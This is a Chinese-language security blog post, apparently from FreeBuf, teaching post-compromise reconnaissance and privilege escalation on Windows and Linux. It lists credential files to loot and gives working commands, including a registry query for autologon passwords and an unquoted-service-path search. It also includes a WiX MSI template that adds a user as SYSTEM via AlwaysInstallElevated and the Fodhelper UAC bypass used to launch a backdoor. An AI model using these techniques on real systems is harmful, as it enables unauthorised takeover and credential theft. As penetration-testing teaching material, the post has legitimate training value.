freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

本地侦擦与提权
2023-04-15 22:55:23
所属地 福建省

一、前言

在前期通过信息收集、漏洞利用等手段拿下了一台主机后,我们首先要对该主机进行详细的信息收集,充分的挖掘该主机所存在敏感信息,如:系统版本、用户、组等相关信息;我们收集主机信息主要目的并不是为了提权,只是提权能帮我们能收集到更多的信息

二、收集脚本

首先先推荐下两款信息收集的脚本:
winPEASany.exe:https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS/winPEASexe
linpeas.sh:https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
运行脚本,它可以帮我们收集以下信息,帮我们省去大量时间

1:系统信息。包含了系统版本、补丁、本地安全控制、计算机设置等。
2:用户信息。包含了用户信息、用户特权、活跃会话、自动登陆等。
3:进程信息
4:服务信息。主要用于提权。
5:应用信息。包含了活跃窗口、安装的软件、驱动、计划任务等。
6:网络信息。包含了开放端口、网卡接口、DNS缓存、共享目录等。
7:Windows 凭证。包含了仓库、凭证管理器、DPAPI、Wifi 密码、Kerberos 票据等。
8:浏览器信息。包含了常见浏览器的缓存凭证、收藏夹等。
9:文件和注册表信息。包含了系统敏感文件和注册表项、常见应用 (如 PuTTY) 的重要文件等
10:事件信息与其他

三、重要文件

现在我们来介绍下windows和linux中的一些重要文件,需要注意的是,如果我们权限不高的话,可能会无法访问

用户目录

Windows 用户目录下有这些目录:桌面、文档、下载、收藏等。我们甚至可能在用户目录中找到 SSH 密钥对,目录:C:\Users\zhi.ssh
image.png

SAM 数据库

C:\Windows\System32\config目录下,有着 SAM 数据库文件,SAM数据库保存着本地用户的密码哈希值。
image.png

powershell历史

该用户的 PowerShell 历史(可用来检擦入侵痕迹)C:\Users\zhi\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine或者%USERPROFILE%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine

image.png

Linux

/etc目录

**/etc/passwd:查看所有用户,有的时候 passwd 会存放用户的密码哈希
**/etc/shadow:默认需要提权查看。如果可读,可以尝试破解帐号密码的哈希值
**/etc/crontab:如果我们对计划任务有修改权限,可以协助我们提权
**/etc/krb5.keytab:加入域的Linux主机的主机账号的keytab文件。默认需提权,如果可读,可得主机账号的NTLM或者密钥值,来枚举域内信息。文件本身难以阅读,但我们可以通过工具 https://github.com/sosdave/KeyTabExtract/blob/master/keytabextract.py来解析

keytab 文件

指域用户的keytab文件,类似于krb5.keytab,域用户的keytab文件包含了用户的NTLM哈希,我们可以用来枚举域内信息或者用于哈希传递

ccache文件

默认存在于 /tmp 目录下,ccache 文件保存了 Linux 域主机的 Kerberos 凭证。如果有任何在线的域用户会话,我们可以在 /tmp 中看到 ccache 文件。默认情况下,只有用户自身以及 root 用户才能读取,因此当我们提升至 root 权限后,可以对 ccache 文件进行窃取。

home目录

Bash 历史
有可能会包含明文凭证,例如该用户运行过mysql ,我们就可以在历史中明文密码。
默认情况下只有用户自己以及 root 用户能查看。并且可以将 bash 历史重定向到 /dev/null来实现隐藏 bash 历史。
image.png
SSH 文件夹
SSH 私钥默认只有用户自身或者 root 用户可以访问。在提权之后,我们可以窃取用户的 ssh 私钥
image.png

Web 根目录

我们也可以在web应用的根目录中的配置文件找到一些凭证,如数据库的账号密码等

四、保存凭证

这里指的凭证,指的是明文帐号密码,如存放在文本中的明文密码、浏览器里的密码等

Windows开机自登陆

有些主机会设置开机自动登陆,那么明文的帐号密码会存储于注册表 HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon
winpeas可以帮助我们枚举到,也可以使用cmd命令 reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" /v DefaultPassword进行查询注册表中的位置
image.png

浏览器保存的凭证

SharpDPAPI (https://github.com/GhostPack/SharpDPAPI))
SharpChrome (https://github.com/djhohnstein/SharpChromium))
这两个工具可以协助我们提取在浏览器上保存的凭证

应用里保存的凭证

一些应用也会保存凭证,例如MSSQL管理工具,同样的winpeas可以帮我们收集到
image.png

五、服务提权

配置不当的服务权限

攻击者对于服务本身具有特定权限,例如修改服务的二进制文件路径停止/启动服务、修改其他服务参数等。因此,利用手法可以是将服务二进制文件指定为攻击者的载荷。
修改二进制文件路径:将服务的二进制文件指向恶意的载荷
停止与启动服务:使修改生效
启动类型:通过服务来维持访问

未用引号引用的服务路径

因为文件夹或者文件是允许存在空格的,例如文件夹 “C:\Program Files”,但如果不加引号,即 C:\Program Files,Windows会把 C:\Program当成目标文件夹。并且当服务区解析二进制文件的地址的时候,例如该二进制文件地址为 “C:\Program Files\Weak Services\Unquoted Service.exe”,那么从前往后依次解析到的是
C:\Program.exe
C:\Program Files\Weak.exe
C:\Program Files\Weak Services\Unquoted.exe
因此,如果我们想要利用,可以在上述任一一路径丢入一个二进制文件。但需要注意的是,我们需要对响应的文件夹具有写权限
如果还是有些不理解,大家可以记住这样的模式:对于一个二进制文件的地址如果是 "C:\A B\C D\E F.exe"
我们可以在 C:*丢入 A.exe,即 C:\A.exe
我们可以在 "C:\A B"丢入 C.exe,即 "C:\A B\C.exe"
我们可以在 "C:\A B\C D"丢入 E.exe,即 "C:\A B\C D\E.exe"
可以使用命令查看系统中错误配置的路径*:**

wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """

image.png

配置不当的服务二进制文件

攻击者对于该服务的二进制文件具有修改权。因此,常规的利用手法是用生成一个恶意的服务二进制文件,替换掉原有的服务二进制文件。之后,该服务就会执行恶意的二进制文件
不用担心一时间无法仔细区分出这 3 种脆弱的服务配置,powerup.ps1脚本如果发现了上述任一类型,也就是只要是实际可利用的脆弱服务,它能帮助我们自动利用。

六、AlwaysInstallElevated提权

如果系统管理员在注册表以及主策略里配置了 AlwaysInstallElevated,就表示任何用户只要安装msi都是以system权限去执行
我们可以通过命令或winpeas脚本去帮我们查看是否开启了AlwaysInstallElevated.md
也可以通过命令** reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated**
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated进行查询
image.png
Metasploit可以生成MSI类型的载荷,但很容易被 AV/EDR 所检测。所以我们可以手动创建MSI 包裹文件。
我们可以使用工具 wix (https://github.com/wixtoolset/wix3) 来将包含二进制文件或者任意命令的模板 (https://github.com/KINGSABRI/MSI-AlwaysInstallElevated) 进行打包然后安装。
我们可以直接将要运行的载荷或者命令包含在里面,我们尝试执行添加新用户的命令,模板内容如下:

<Wix xmlns="http://schemas.microsoft.com/wix/2006/wi">
    <Product Id="*" UpgradeCode="12345678-1234-1234-1234-111111111111" Name="23e23deeqwddeweqwde" Version="0.0.1" Manufacturer="Test1" Language="1033">
        <Package InstallerVersion="200" Compressed="yes" Comments="Windows Installer Package" />
        <Media Id='1' />
        <Directory Id="TARGETDIR" Name="SourceDir">
            <Directory Id="ProgramFilesFolder">
                <Directory Id="INSTALLLOCATION" Name="Example">
                    <Component Id="ApplicationFiles" Guid="12345678-1234-1234-1234-222222222222" KeyPath="yes"></Component>
                </Directory>
            </Directory>
        </Directory>
        <Feature Id="DefaultFeature" Level="1">
            <ComponentRef Id="ApplicationFiles" />
        </Feature>

        <CustomAction 
            Id="Shell" 
            Execute="deferred"
            Directory="TARGETDIR" 
            Impersonate="no" 
            ExeCommand="net user zhi 123.com /add" 
            Return="check" 
        />

        <InstallExecuteSequence>
            <Custom Action="Shell" After="InstallFiles"></Custom>
        </InstallExecuteSequence>
    </Product>
</Wix>

将该模板打包成 .msi 文件:

candle zhi.wxs
light zhi.wixobj

此时已经生成了zhi.msi文件,运行该文件即可创建用户名为zhi

七、SeImpersonatePrivilege提权

如果一个账户被授予 SeImpersonatePrivilege 特权,那么该账户可以模仿任何我们能获得引用或者句柄的令牌,可以通过whoami /priv或者 **whoami /all **来查看当前账户是否拥有该特权
image.png
确认了开启了SeImpersonatePrivilege,我们就可以用Potato工具去帮我们进行提权
image.png

八、UAC绕过

前提是你拿到了administrator权限,你还是执行或删除不了一些文件,这其实可能是UAC在阻扰你,此时我们就要绕过UAC,取得一个高的完整度权限,我们通过命令whoami /groups,可以发现,我们默认的等级是Medium
image.png
经典的 Fodhelper UAC 绕过的方式如下:

New-Item -Path HKCU:\Software\Classes\ms-settings\shell\open\command -Value "powershell.exe" -Force
New-ItemProperty -Path HKCU:\Software\Classes\ms-settings\shell\open\command -Name DelegateExecute -PropertyType String -Force

此时会以高完整度弹出一个powershell,我们再此执行后门,将得到一个最高权限的后门,此方法我在win10\win11试过都可以
image.png

九、CVE提权

这个没啥好说的,我们用winpeas脚本,扫出可能存在的cve漏洞,下载下来去尝试即可
image.png

十、总结

还有很多提权的方法文章没讲到,其实提权无非就几种方式,要么就是低权限用户借用了高权限用户的权限,要么就是内核有问题导致的,如:linux中的suid不就是root拥有文件且设置了suid,那我们运行该文件不就是root的权限了;亦或者windows中有一个服务是system启动的,我们对该服务又有修改的权限,我们就可以通过修改服务路径为我们后门的路径,这样服务运行起来时就会顺带我们的后门一起运行,这也达到了提权的目的;还有计划任务也是,一个文件有规律的运行,还是root执行的,且可被修改,我们就修改该文件内容为反弹shell的命令,等到其下一次运行,它就会弹回了一个root权限了,说白了提权千万种,借用权限很重要!

# 渗透测试 # 网络安全 # 内网渗透 # 网络安全技术 # 权限提升
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录